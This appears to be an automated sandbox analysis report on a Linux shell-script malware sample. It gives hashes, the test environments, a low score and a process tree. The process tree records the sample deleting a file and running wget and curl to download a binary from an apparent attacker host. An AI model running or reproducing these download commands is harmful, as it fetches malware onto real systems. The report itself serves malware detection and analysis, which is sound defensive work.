Analysis
- max time kernel
148s - max time network
128s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20240611-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
11/11/2024, 02:48
Static task
static1
Behavioral task
behavioral1
Sample
a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh
Resource
ubuntu1804-amd64-20240611-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh
Resource
debian9-armhf-20240611-en
3 signatures
150 seconds
Behavioral task
behavioral3
Sample
a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh
Resource
debian9-mipsbe-20240729-en
5 signatures
150 seconds
Behavioral task
behavioral4
Sample
a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh
Resource
debian9-mipsel-20240226-en
0 signatures
150 seconds
General
- Target a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh
- Size 10KB
- Sample241111-dat68svjdm
- SHA256 a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4
- MD5 7346ba4563635e11d430dcc939fbcf09
- SHA1 2b190fb02dbbab0648bb4158e822e29ec4010b69
- SHA512 34a8eb4e8b048e5fc6c56c01b8f549a0f6851aac83ff6fdfe31d8763ad9a2f687d37073316441b87954b5b429cbdb09cdf6b9d7cad40fb943242cef73ea39ffb
- SSDEEP 96:Y40F405G2W/k3WLMQmUaS08AnXLCa0wL5RtGfLj/5/g/c/jIo3D6DyD83LUYa5Rr:ANXkwhmxWyjIoCDn3WyjIop+
- MD5 SHA1 SHA512 SSDEEP
Score
3/10
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1507 wget 1511 curl
Processes
-
/tmp/a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh/tmp/a5047f6da68f7d5f7a4f8cb8bd6e2c51d9e257c382f4d7bbb1b497dbfc931ae4.sh1⤵PID:1505
-
/bin/rm/bin/rm bins.sh2⤵PID:1506
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/33pi10vtQWAOK6rsenSlIdpIDgaaQySq7O2⤵
- System Network Configuration Discovery
PID:1507
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/33pi10vtQWAOK6rsenSlIdpIDgaaQySq7O2⤵
- System Network Configuration Discovery
PID:1511
-